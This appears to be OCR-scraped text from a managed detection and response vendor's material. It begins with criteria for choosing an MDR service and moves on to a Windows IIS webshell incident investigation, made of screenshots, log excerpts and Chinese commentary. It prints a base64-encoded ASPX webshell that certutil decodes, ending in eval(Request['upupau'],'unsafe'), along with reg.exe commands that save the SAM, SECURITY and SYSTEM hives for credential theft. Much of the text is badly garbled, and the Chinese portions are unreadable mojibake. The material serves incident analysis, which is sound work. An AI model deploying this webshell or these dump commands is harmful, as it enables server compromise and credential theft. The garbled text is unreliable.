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Cybhbersecurity Topics o DR Techmoloow

4 Key Considerations for Evaluating MIDR Solutions

To assess the quality of armn MDR solution, it is essential to evaluate associated
EDR products and cybersecurity services separately. Consider the followimng
factors:

a. Malware detection and response: An effective MDR solution should swiftly
detect and respond to a wide range of threats, miinmnimizing the dwvwell time of
malware and preventing it from imppacting the affected systerm.

2. Threat detection capabilities: The ability to detect both known and
unknmnowwnNn threats, coupled with utilizing the latest threat iNntelligence, is
crucial for am MDR solution's efficacy. Managed XDR solutions that offer
extended capabilities should efficiently correlate security telemetry amnd
orchestrate a comprehensive real-time response across the network.

3. Service commitment: Assess the MDR provider's commitment to delivering
serwvices, including around-the-clock support awvailability armnd the
comprehensiveness of its serwvice-level agreement (SLA). Additionally,
consider the provider's reputation, scalability, and ability to leverage global
cyvber—-threat intelligence.

. Customization and remediation: Evaluate whether the MDR provider offers
tailored products and comprehaensive threat remeaediation anmnd mMmitigation
services to address yvour unicgue environNnmMment.
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82(&BIFNEfE (Malware detection and response

Endpoints

Criteria

@© 2023-12-18 08:00:00 -
2023-12-25 15:00:00

Bo] certutil -decode c\inetpub\0_WebSite\SSN\Portals...

Input a + O3 0 =

PCVAIFBhZ2UgTGFUZ3VhZ2U3IkprY3IpcHQiITAKC JwhREIDVF IQRSBodGLS IFBVQkX JQYAILSBVWZNDLYIEVEQEWENUTUWEM
SAWIFRYYWSzaXRpb25hbC8vRU41ICI0dHRWO18vd3d3LnczLm9yZyouUig4aHRtbDEVRFREL3hodG1sMS10cmFuc2laakouyii
WUZHRKI j4KPCVecTAwWN] Ve dT AwNZ Zcd TAWNF od TAWNmMoXHUWMDU Y XHUWMDY LXHUWMD C XX HUWMDC IXHUWMDY 1XHUWMD cz XHU
wWMDCAWy Jcd TAWNZVed TAwNZ 3cd TAwNzZVod TAWNZ Bod TAwNj Fed TAWNZUIXSWKT 1 x1MDASNV X 1MDA2 ZWx MDA M3 IMDA 2MV L
MDA2M] x1IMDA2NSIpOYLUHCjx0d61sTHhtbe5zPSIodHRWO18vd3d3LnczLmIyZy8x0Tk5L3hodGlsTj4KPGhLYWQgCnVuYXQoT
nNlcnZlciI+CeksdclabGU+PC90aXRsZTAKPCIOZWFLPE0o8YMOke TAKCTxmb3JtIG KPS Imb3ItMSIgcnvuyXQoInnlcnZlci
I+CgkIPGRpdiLeCeklCgkIPCOkaXy+CgkEL2Zvema+C jwvymoke TAKPC90dG15Pg==

mc 658 = 3 Tr Raw Eytes 4= LF

OQutput ] B0 mE:C:

<% Page Langusge="Jscript"¥%>

£+ cmd.exe

Profile  Events

C\Windows\System32\cmd.exe /c echo
PCVAIFBhZ2UgTGFuZ3VhZ2U9lkpzY3JpcH
QiJTAKGWhREIDVFIQRSBodG1sIFBVQkedQ
YAILS8vWzNDLy9EVEQGWERUTUwgMS4wl
Process FRyYW5zaXRpb25hbC8vRU4IICIodHRWOI8
vd3d3Lnczlm9yZy9UUi94aHRtbDEVRFREL
3hodG1sMS10cmFuc210aW9uYWwuZHRkj
AKPCVcdTAWNjVed TAWNzZ cdTAWNjFcdTA
wNmMoXHUwMDUyXHUwMDY 1XHUwM
DexXHUwWMDC1XHUWMDY 1XHUwMDczXH
cmd.exe UwMDcOWylod TAWNZVed TAWNZBed TAWN
File path: 2VedTAWNzBcd TAWNjFed TAWNZUXSwKIIx
1MDA3NVx1MDA2ZVx1MDA3M1x1MDA2
. C\Windows\S 1/, 1MDAZNIXIMDAZNSIpOyU + GixodG1

certutil.exe P . slHhtbG5zPSJodHRwOQi8vd3d3LnczLmyZy
CLl command:

Observed Att

Object type:

Lréatea:

2023-12-25 1

Process

C\Windows\System32\cmd.exe /c echo PCVAIFBhZ2UgTGFuZ3VhZ2U9lk...

Cilo CLIA 4.
\UBB65\Uen76\uee61\ UBRGC ( \uBaS2\ueass\uea71\uee75\ueoss \uea73\uea74[ " \uee7s\uee7e\uae7s\uea7e \uead
\uee7s"],
"\uee75\uee6e\uen73\uen61\uoes6 \ueess

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.@ Transitional//EN" 4

"http://waw.w3.0rg/TR/xntml1/DTD/xhtmll-transitional.dtd">

<%\u2e65\uea76 \ueeel\ueds: (\uees2\uenas\ues71\uee75\ueess5\upe73\uea74 "\uee75\ued70\uee7s\uee7e\
BH1\UB /5" ],
" \UB275\uBeGe\LOE73\uBD51\uees6 \ueees ") s>

<html xmlns="http://waw.w3.org/1999/xhtml">
<head runat="server">»
ctitlex</title>
</head>»
<body>
<form id="forml" runat="server">
«div>

me 143 = 4 Tr Raw Bytes 4= IF

Output S | rD M i

<Jdiv>
</form>

eval(Request["upupau”],
"unsafe

—AIEEARFE

</body»
</html>
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SRR ELEt
43532 Multi-stage incident involving Execution & Defense evasion on one endpoint
GEASE EX 221 TP [ PR 2R
2024-12-2709:1420 | arifoc.com High
)R
SRR

2 g 35 AR

BETEIRITELES  ARtAECEHEBRIGEFEHRNZAAER - THEERABSHNER - EBLEHESEH Win
dows BiFEP IR ERFFIESIER - AEREUUTHELERLETHHF -

BT 25 4R0 L BRERER

1 mEUREER

HKEY_LOCAL_MACHINE\SAM (ZZ1RFEE8). EEZRIEEBRMEE T 2R LA EREIREIMZEZEHE
BE - REMRNGEEERN - JUERRBRELEMEE  ENERBRFNZE - (ESEERE - —BWEX
Ih - AT LSS IR H 4 -

HKEY_LOCAL_MACHINE\SECURITY: EEZFERRE S T 2AMNLZRISRE - HERFREEN - BRETLL
FRBELEENRTBARNRERE - WSHRRARRE thFIRERNSBZZER -
HKEY_LOCAL_MACHINE\SYSTEM: EfI Z i EBIRE S T 2 MO ERTE « EENEXNEN - RIFRE -
RAENEH - REUMUFNAELEMNRT BLARNWERNREBIRE - TEKRIIBRAREASREEXBIIRMRRT
2. IS R AR

BBNE L =EZREERNER - BREIIL :

EREAESS . WERHE  thHITUBEARSE  SRXSEAERSE  WOTERRE  MASHHER -
RAHER : MARZZREBRENRR - thPITLURAECHER - BESRARNTEEFE -

BEABRRERS . THRAFNMENNER - ATMEASSENS  EREEAELRRENITEEMT -
EIRZEH . BBRENRRRTE - tMPITURIIEP - ERZERIRERRAE -

waBE . TRAGNEREKER - MATMANASRENRAREABR - RNEMAIEPIEMRE -

3.BEWE

BELEENNENEEIRRERR

HA(E : BIUEPT - REZEHIZ4 -

waBE . WEERPIE(ZAR -

BN . BEBERER - WAFE MRS AR AT RS -

B3R MELAAEN  THRIEZEZMNES -

ICABEREIR - &R anfixx'(10.xx.20.30)FHE O F1E S -
"C:\Windows\Temp\OOqISkRwVWUeFp_w6.exe"
SHA256:231434379a0962e78fa818c85874ad5a31afc93ec8a038c033cc27c09b
0cl7e9

"C:\Windows\Temp\OOqISkRwVWUeFp_w®6.txt"
SHA256:30181df62ea363ce2d1647f17ad5e50679721ca0dc4bb1e068b9b0499
5dfcab9

#ETHEAZ 5 PowerShel 18 < ELE th S TR ENE R AYEED - 40 :

"reg.exe" save HKEY_LOCAL_MACHINE\sam\ C:\Windows\Temp\OOqISkRwV
WUeFp_sa.png /y

"reg.exe" save HKEY_LOCAL_MACHINE\security\ C:\Windows\Temp\OOqISkR
wVWUeFp_se.png /y

"reg.exe" save HKEY_LOCAL_MACHINE\system\ C:\Windows\Temp\OOqISkRw
VWUeFp_sy.png /y

LiliES R ERKBEREFE C\Windows\Temp\'ERIRT - iZEBE H1ERBTE
SRR (S -

VBENEIRES

BEGIEmRE TR - BT LMEFEEE : 'C\Windows\Temp\' - MiE1T
ImrERFEHEEERENEEMBEENTRER - HEFTEFRMENRRT -

rENE=ES

RFABEREAYERZBE PN,

ARRBEEANEREBEPHEINTS -
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ELER

ELLd ELL
3356(1)6047'20231225' File Deobfuscation via CertUtil
R e B e [ B 4R
2023-12-25 15:50:56 192.168%827 Hgh
e
SRR

BEENMXDREX IR 2 E ’ﬁ*w@g‘%&pﬂﬁﬁé 'System Network Information Discovery via 11S"
Potential Information Gathering" * "'System Information Discovery via I1S Webshell Command™ ~ "'File
Deobfuscation via CertUtil" 5 -

HBELR

5B 4 H IR E B CertUtilic:\inetpub\0_WebSite\SSN\Portals\_default\rblank.aspxfZzE A c:\inetpub\0_
WebSite\SSN\Portals\_default\sblank.aspx * ZEiBw3wp.exe#lfTcmd.exe - d# {TwhoamiElipconfigsE £
BRSO TA - KEXRREMIN LEwebshelFFEH 2 —EEWE -

Y B ERIEE

AR EMETEREEE
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ELER

- 12/25 15:47~15:48 $FEIRBrblank.aspxEdsblank.aspxfficompiledfdgikiR .

Filename #1

A indows/Temp/RazorEngine_rsddvaxo. 2vchgpdish.Dcs

MW indows/Temp/RazorEngine_raddvauro. 2vcfgpdxvuh.cmdline

MWindows/Temp/RazorEngine_kzbfdrdl.ihn/CompiledRazor Templates. Dynamic. RazorEngine 46c6277d2cdcA9f 000 a7 2067 dadc30x 10,411
fif indows/Temp/RazorEngine_kzbfdrdl. thn/kbternd3m.out

A indows/Temp/RazorEngine_kzbfdrdl.ihn/kbternd3m.err

MW indows/Temp/RazorEnginekzbfdrdl.ihn

MWindows/Temp/RazorEngine kebfdrdl ihn/kbtemd3m.tmp

Hifindows/Temp/RazorEngine kzbfdrdl ihn/dkbtemd3m.0.cs

MWindows/Termp/RazorEneine kzbf4rdl.ihn/kbternd3m.cmdline

2023112125 15:51
2023/12/25 1551
2023/12/25 1551
2023712125 15:51
2023112125 15:51
2023/12/25 1551
2023/12/25 1551
2023712125 15:51
2023/12/25 15:51

2023112125 1551
2023/12/25 1551
2023/12/25 1551
2023712125 15:51
2023112425 1551
2023/12/25 1551
2023/12/25 1551
2023712125 15:51
2023/12/25 15:51

2023112125 1551
2023/12/25 1551
2023/12/25 1551
2023712125 15:51
2023112425 1551
2023/12/25 1551
2023/12/25 1551
2023712125 15:51
2023/12/25 15:51

2023112125 1551
2023/12/25 1551
2023/12/25 1551
2023112125 15:51
2023112425 1551
2023/12/25 1551
2023/12/25 1551
2023112125 15:51
2023/12/25 15:51

Std Info Creation di Std Info ModificaticStd Info Access dat Std Info Entry date FM Info Creatior

2023112125 15
2023/12/25 15
2023/12/25 15
2023112125 152
2023112125 15
2023/12/25 15
2023/12/25 15
2023112125 152
2023/12/25 15

W indows/Microsoft. NET/FramewOxf00x01rk6dA04.0.30319¢ Temporary ASP.MET Filesfroot/0ab4 1606/8aa83b32/App Web_hlntjdef.dll

W indows/Microsoft. NET/FramewCxf00x01rk64404.0.30319¢ Temporary ASP.NET Filesfroot/Uab4 1695/8aa63b32/blank .aspx.bataB4b8.compiled
W indows/Microsoft NET/FramewOuf00u01rk6dsrd.0.30319/ Temporary ASP.NET Filesiroot/0as4 1606/8aa83h32/ubhost . asp. babaB4b8.compiled
W indows/Microsoft. NET/FramewCxf00x01rk64404.0.30319¢ Temporary ASP.NET Filesfroot/0ab4 1698/8aa83b32/ App_ Web_celaev1j.dll

W indows/Microsoft. NET/FramewOxf00x01rk64404.0.30319¢ Temporary ASP.MET Filesfroot/0ab4 1606/8aa83b32/rblank . aspx.bataS4b8.compiled

2023/12/25 15:50
2023/12/25 15:48
2023112125 1547
2023/12/25 1547
2023/12/25 15:47

2023/12/25 15:50
2023/12/25 15:50
2023112125 1547
2023/12/25 1547
2023/12/25 15:47

2023/12/25 15:50
2023/12/25 15:50
2023112125 1547
2023/12/25 1547
2023/12/25 15:47

2023/12/25 15:50
2023/12/25 15:50
2023112125 1547
2023/12/25 1547
2023/12/25 1547

2023/12/25 15:
2023/12/25 15:
2023112125 15:
2023/12/25 15:
2023/12/25 15:

ftf indows/Temp/RazorEngine_d2ncmlw?2. tfa/CompiledRazor Templates. Dynamic. RazorEngine 90afd82dad 744352866121 3f06635e0x0d.d1l
MNoFNRecord

| MW indows/Temp/RazorEngine d2ncmlw?. tfaleaZbrunc.out

1
MW indows/Temp/RazorEngine d2ncmlw2.tfalgaZbruuc.err
Fif indows/Temp/RazorEngine_dZncmlwZ. tfa
S indows/Temp/RazorEngine_d2ncmlw2.tfalgaZbruuc.tp
MW indows/Temp/RazorEngine_ d2ncmlw2fa/gaZbruuc.0.ca
MWindows/Temp/RazorEngine_d2ncmlw2 tfa/galZbruuc.cmdline

TS SR IFPEVRNPINY ) o pUPURRUR « m I, P PN RV 7. WU IS | o TN o o FUEPPUVRUPYRNS NP TPSPR: o VUM s ISR o PO PR | ) P & SR v | L O, PR T e NP PO | O O o i o Y L B R B

2023/12/25 15:31
2023112125 15:31
2023/12/25 15:31
2023/12/25 15:31
2023/12/25 15:31
2023112425 15:31
2023/12/25 15:31
2023/12/25 15:31

S M1l 10,91

2023/12/25 15:31
2023112125 15:31
2023/12/25 15:31
2023/12/25 15:31
2023/12/25 15:31
2023112425 15:31
2023/12/25 15:31
2023/12/25 15:31

ST M1 10,31

2023/12/25 15:31
2023112125 15:31
2023/12/25 15:31
2023/12/25 15:31
2023/12/25 15:31
2023112425 15:31
2023/12/25 15:31
2023/12/25 15:31

S M1 10,31

2023/12/25 15:31

2023112125 152

2023112425 15:31 NoFNRecord

2023/12/25 15:31
2023/12/25 15:31
2023112125 15:31
2023112425 15:31
2023/12/25 15:31
2023/12/25 15:31

ST M1 10,91

AcEH EEEHM 9

2023/12/25 15
2023/12/25 15
2023112125 152
2023112125 15
2023/12/25 15
2023/12/25 15
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178.

2023-12-25 07:25:31 192.168.27.63 GET /Resources/libraries/jQuery-UI/01 11 03/jquery-ui.js cdv=799 443 - 125.228.28.143 Mozilla/5.0+ (Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWebKit/53 A
2023-12-25 07:25:31 192.168.27.63 GET /images/Flags/vi-VN.gif - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWebKit/537.36+ (KHIML, +1like+Gecko)+Chrome/120
2023-12-25 07:25:31 192.168.27.63 GET /Resources/shared/scripts/initWidgets.js - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10_15 7)+AppleWebKit/537.36+ (KHTML, +1ike+
2023-12-25 07:25:31 192.168.27.63 GET /Portals/ default/Skins/Gravity/images/globe.png - 443 - 125.228.28.143 Mozilla/5.0+ (Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWebKit/537.36+ (KHTM
2023-12-25 07:25:32 192.168.27.63 GET /Resources/Shared/scripts/initWidgets.js - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10_15 7)+AppleWebKit/537.36+ (KHTML, +1ike+
2023-12-25 07:25:32 192.168.27.63 GET /Resources/shared/scripts/DotNetNukeRjaxShared.js =17034890688614 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10_15 7)+AppleWebK
2023-12-25 07:25:32 192.168.27.63 GET /favicon.ico - 443 - 125.228.28.143 Mozilla/5. 0+(Ma61ntosh +Intel+Mac+05+¥X+10 15 ?)+AppleWebK1t/53? 36+ (KEHTML, +llke+Gecko)+Chrome/120 0.0.0+5afa
2023-12-25 07:25:33 192.168.27.63 GET /Resources/Shared/scripts/widgets.js =17034890868615 443 - 125.228.28.143 Mozilla/5. 0+ (Macintosh;+Intel+Mac+0S+X+10_15 7)+AppleWebKit/537.36+ (KH'
2023-12-25 07:26:24 1%2.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/s. G+(Mac1ntosh +Intel+Mac+05+¥+10 15 7)+App1eWebK1t/537 36+ (KHTML, +11ke+Gecko)+Chrome/12G 0.0.0+5afari/537.36 -
2023-12-25 07:27:32 192.168.27.063 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+ (Macintosh; +Intel+Mac+OS+X+10_15_7)+AppleWebK1t/53? 36+ (KHTML, +1ike+Gecko) +Chrome/120.0.0.0+Safari/537.36 -
2023-12-25 07:27:52 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+¥+10_ 15 7)+RppleWebKit/537.36+ (KHTML, +like+Gecko)+Chrome/120.0.0.0+3afari/537.36 -
2023-12-25 07:28:56 192.168.27.63 GET / - 443 - 125.228.28.143 Mozilla/S.0+(Macintosh;+Intel+MaC+OS+X+1G_15_7)+AppleWebKit/537.36+(KHTML,+1ike+GeCkO)+Chrome/120.0.0.G+Safari/537.36-
2023-12-25 07:26:01 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+05+¥+10 15 7)+RhppleWebKit/537.36+ (KHTML, +1ike+Gecko)+Chrome/120.0.0.0+Safari/537.36 -
2023-12-25 07:29:49 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+¥+10_ 15 7)+RppleWebKit/537.36+ (KHTML, +like+Gecko)+Chrome/120.0.0.0+3afari/537.36 -
2023-12-25 07:25:55 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/S.0+(Macintosh;+Intel+MaC+OS+X+1G_15_7)+AppleWebKit/537.36+(KHTML,+1ike+GeCkO)+Chrome/120.0.0.G+Safari/537.36-
2023-12-25 07:30:44 162.168.27.63 GET / - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+¥+10 15 7)+AppleWebKit/537.36+ (KHTML, +like+Gecko)+Chrome/120.0.0.0+3afari/537.36 -
2023-12-25 07:30:50 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+¥+10_ 15 7)+RppleWebKit/537.36+ (KHTML, +like+Gecko)+Chrome/120.0.0.0+3afari/537.36 -
2023-12-25 07:31:26 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/S.0+(Macintosh;+Intel+MaC+OS+X+1G_15_7)+AppleWebKit/537.36+(KHTML,+1ike+GeCkO)+Chrome/120.0.0.G+Safari/537.36-
2023-12-25 07:31:33 192.168.27.63 GET / - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+¥+10 15 7)+RppleWebKit/537.36+ (KHTML, +like+Gecko)+Chrome/120.0.0.0+Safari/537.36 -
2023-12-25 07:32:46 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+¥+10_ 15 7)+RppleWebKit/537.36+ (KHTML, +like+Gecko)+Chrome/120.0.0.0+3afari/537.36 -
2023-12-25 07:32:50 1%2.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+ (Macintosh; +Intel+Mac+0S+X+10_15 7)+App1eWebK1t/537 36+ (KHTML, +1ike+Gecko) +Chrome/120.0.0.0+Safari/537.36 -
2023-12-25 (07:33:40 192.168.27.63 GET / — 443 — 125.228.25.143 Mozilla/S5.0+ (Macintosh; +Intel+Mac+OS+X+10 15 7]+AgpleWebK1t£537 36+ (KHTML, +llke+GeCko]+Chrome‘12G 0.0. O+Safar1‘53? 36 -
P023-12-25 07:41:51 15%2.168.27.63 GET /_ — 443 - 61.62.213.?0 Mozilla/5.0+ (Macintosh; +Intel+Mac+OS+X+10 15 ?)+AppleWebK1t/53? 36+ (KHTML, +1ike+Gecko) +Chrome/120.0.0.0+5afari/537.36
P023-12-25 07:41:56 19%92.168.27.63 GET /_ - 443 - 61.62.215.70 Mozilla/5.0+ (Macintosh; +Inte1+MaC+OS+X+1G_15_7)+App1eWebK1t/537 36+ (KHTML, +1ike+Gecko) +Chrome/120.0.0.0+Safari/537.36 -
0023-12-25 07:43:01 152.168.27.63 GET / - 443 - €1.62.215.70 Mozilla/5.0+ (Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/537.36+ (KHIML, +1like+Gecko)+Chrome/120.0.0.0+Safari/537.36 -
0023-12-25 07:43:14 192.168.27.63 GET /_ - 443 - 61.62.215.70 Mozilla/5.0+ (Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/5337.36+ (KHIML, +1like+Gecko)+Chrome/120.0.0.0+3afari/537.36 -
0023-12-25 07:46:57 192.166.27.63 GET /_ - 443 - 61.62.215.70 Mozilla/5.0+ (Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/537.36+ (KHTML, +1ike+Gecko)+Chrome/120.0.0.0+safari/537.36 -
0023-12-25 07:47:26 192.168.27.63 GET /Portals/ default/rblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWsbKit/537.36+ (KHTML, +like+Gecko)+Chrome
0023-12-25 07:46:27 192.168.27.63 GET /_ - 443 - 61.62.215.70 Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/537. 30+(KHTML t+liket+Gecko) +Chrome/120.0.0.0+3afari/537.36 -
P023-12-25 07:48:38 192.168.27.63 GET /Portals/ default/sblank.aspx — 443 - 61.62.215.70 Mozilla/s. G+(Ma61ntosh +Intel+Mac+O§:§:10 15 7]+ApEIeWebK1t/537 36+ (KHTML, +1ike+iGecko) +Chrome
2023-12-25 07:49:04 1%2.168.27.03 POST /Portals/idefault/sblank.aspx - 443 - ¢©l1.62.215.70 M021lla/5.O+(W1ndous+NT+5.1]+AppleWebK1t/537.30+(KHTML +1like+Gecko)+Chrome/34.0.1866.237+5af,
2023-12-25 07:49:15 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - €1.62.215.70 Mozilla/5.0+ (compatible;+MSIE+9.0;+Windows+NT+6.1;+WOWE4;+Trident/5.0;+.NET+CLR+3.5.3072%;+.]
2023-12-25 07:49:18 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Windows;+U;+Windows+NT+6.1;+fr-FR) +RppleWebKit/533.20.25+ (KHTML, +1ike+Gecko) +Ve
2023-12-25 07:49:29 1%2.168.27.63 POST /Portals/idefault/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Windows+NT+6€.2;+rv:22.0)+Gecko/20130405+Firefox/23.0 - 200 0 0 26

2023-12-25 07:49:32 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Windows+NT+6.2;+Win64; +x64;+rv:27.0)+Gecko/20121011+Firefox/27.0 - 200 0 0 29
2023-12-25 07:49:38 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - €1.62.215.70 Opera/9.80+(X11;+Linux+x86 64;+U;+bg)+Presto/2.8.131+Version/11.10 - 200 0 0 25

2023-12-25 07:50:25 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - €1.62.215.70 Mozilla/5.0+ (Macintosh;+Intel+Mac+05+X¥+10.6;+rv:25.0)+Gecko/20100101+Firefox/25.0 - 200 0 0
2023-12-25 07:50:28 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Opera/9.80+(X11;+Linux+i€86;+U;+es-E3)+Presto/2.8.131+Version/11.11 - 200 0 0 258

2023-12-25 07:50:42 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (compatible;+MSIE+9.0;+Windows+NT+6.1;+WOWE4;+Trident/5.0;+.NET+CLR+3.5.30729;+.]
2023-12-25 07:51:11 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - €1.62.215.70 Opera/%9.80+(X11;+Linux+i€86;+U;+hu)+Presto/2.9.168+Version/11.50 - 200 0 0 24

2023-12-25 07:51:17 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Opera/%.80+ (Windows+NT+6.1;+WOW64;+U;+pt) +Presto/2.10.22%+Version/11.62 - 200 0 0 19
2023-12-25 07:53:42 15%2.168.27.63 POST /Portals/_default/sblank.aspx - 443 - €1.62.215.70 Mozilla/5.0+ (Macintosh;+Intel+Mac+0S+X+10 7 3]+AppleWebK1t/534 55.3+ (KHTML, +1ike+Gecko) +Vers.
2023-12-25 07:53:49 192.168.27.63 POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Windows+NT+6.2;+Win6d; +x64; +rv:27. 0)+Gecko/20121011+Firefox/27.0 - 200 0 0 310
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KHTML, +llke+GeckoJ+Chrome/120.

3 GET /_ - 443 - 125 228.28.143 M021lla/5.ﬂ+(Mac1ntosh +Intel+Mac+OS+X+10 15 ?]+AppleWebK1t/53?.36+( 0.0.0+Safar1/53?.36 - 404

129:55 182.16e8.27. GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh; +Intel+Mac+OS+X+1G_15_7]+AppleWebK1t/53?.36+(KHTML,+11ke+Gecko)+Chrome/120.0.0.G+Safarl/537.36 - 404
:30:44 192.165.27. GET / - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10 15 7)+RppleWebKit/537.36+ (KHTML, +1like+Gecko)+Chrome/120.0.0.0+5afari/537.36 - 404
:30:50 192.168.27.63 GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/537.36+ (KHTML, +1like+Gecko)+Chrome/120.0.0.0+5afari/537.36 - 404
:31:26 192.1658.27. GET / - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10 15 7)+RppleWebKit/537.36+ (KHTML, +1like+Gecko)+Chrome/120.0.0.0+5afari/537.36 - 404
:31:33 192.168.27. GET /_ - 443 - 125.228.28.143 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10_15 7)+AppleWebKit/537.36+ (KHTML, +1ike+Gecko) +Chrome/120.0.0.0+5afari/537.36 - 404
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GET / - 443 - ©1.62.215.70 Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/537.36+ (KHTML, +1ike+Gecko)+Chrome/120.0.0.0+5afari/537.36 - 404 0

:43:14 192.168.27. /- 443 - €1.62.215.70 Mozilla/5.0+(Macintosh;+Intel+Mac+05+X+10 15 7)+AppleWebKit/537.36+ (KHTML, +1ike+Gecko)+Chrome/120.0.0.0+5afari/537.36 - 404 0
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GET /Portals/ default/rblank aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWebKit/537.36+ (KHIML, +like+Gecko)+Chrome/120.

GET / - 443 - £1.62.215.70 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWebKit/537. 30+(KHTML +1liket+Gecko)+Chrome/120.0.0.0+5afar1/537.36 - 404 0
GET /Portals/ default/sblank.aspx - 443 - €1.62.215.70 Mozilla/5.0+(Macintosh;+Intel+Mac+0S+X+10 15 7)+AppleWebKit/537.36+ (KHTML, +1like+Gecko)+Chrome/120.
POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Windows+NT+5.1)+AppleWebKit/537.36+ (KHTML, +1like+Gecko) +Chrome/34.0.1866.237+5afari/5
POST /Portals/_default/sblank.aspx - 443 - €1.62.215.70 Mozilla/5.0+ (compatible;+MSIE+9.0;+Windows+NT+6.1;+WOWE4;+Trident/5.0;+.NET+CLR+3.5.3072%;+ . NET+C
POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Mozilla/5.0+ (Windows; +U;+Windows+NT+6.1;+fr-FR) +AppleWebKit/533.20.25+ (KHTML, +1like+Gecko) +Version
POST /Portals/_default/sblank.aspx - 443 - 6€1.62.215.70 Mozilla/5.0+(Windows+NT+6.2;+rv:22.0)+Gecko/20130405+Firefox/23.0 - 200 0 0 26

POST /Portals/ default/sblank.aspx - 443 - €1.62.215.70 Mozilla/5.0+ (Windows+NT+6.2;+Winéd;+xé4;+rv:27.0)+Gecko/20121011+Firefox/27.0 - 200 0 0 29

POST /Portals/ default/sblank.aspx - 443 - 61.62.215.70 Opera/9.80+(X11;+Linux+xB6 €4;+U;+bg)+Presto/2.8.131+Version/11.10 - 200 0 0 25
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